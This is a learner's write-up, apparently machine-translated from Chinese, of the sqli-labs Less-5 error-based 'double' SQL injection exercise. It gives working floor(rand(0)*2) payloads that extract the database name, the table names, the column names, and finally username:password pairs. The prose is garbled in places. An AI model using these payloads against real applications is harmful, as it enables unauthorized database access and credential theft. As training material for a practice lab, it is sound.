Character Less5 double injection: floor () function is given injection
1 determines whether the type of injection and the injection point
? (1) id = 1 'displays an error page, the database being given
id = 1?' And 1 =normal page display
? Id = 1 'and 1 =+ page displays an error
(2) after these basic tests to determine the presence of the injection point here before but the difference is, Less5 only shows You are in ... and without displaying the error message other information, can not be significantly wrong type filler.
(3) Since the error page displays information database, where the formula may be given by injection. Here I use floor () function error injection.
2. Get the database name
?id=-1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2))as a from information_schema.tables group by a--+
3. Get table name
?id=-1' union select 1,count(*),concat_ws('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+
4. Get Listed
?id=-1' union select 1,count(*),concat_ws('~',(select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand(0)*2)) as a from information_schema.tables group by a--+
5. Obtain field contents
?id=-1' union select 1,count(*),concat_ws('~',(select concat_ws(':',username,password)from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+
PS: white summary
(1) floor analysis (accompanied by an explanation of the fine blog) error principle
https://www.cnblogs.com/litlife/p/8472323.html
(2) CONCAT_WS () function is CONCAT () special form. The first parameter is the other argument separator. Positions separator placed between two strings to be connected. The separator can be a string or other parameters.
(3) Since the error indicator only allowing single line, often keep limit () function, a query data after a query
limit (m, n) represents the m + 1 n data fetch start
limit 1,1 expressed from a data fetch two data starts, limit n represents the start of reading the n data from the 0-th data.
(4) Less5 mainly given in accordance with their selected error injection page. floor () error injection, twice the payload in a select query, the query is a double injection.
White inject learning record! !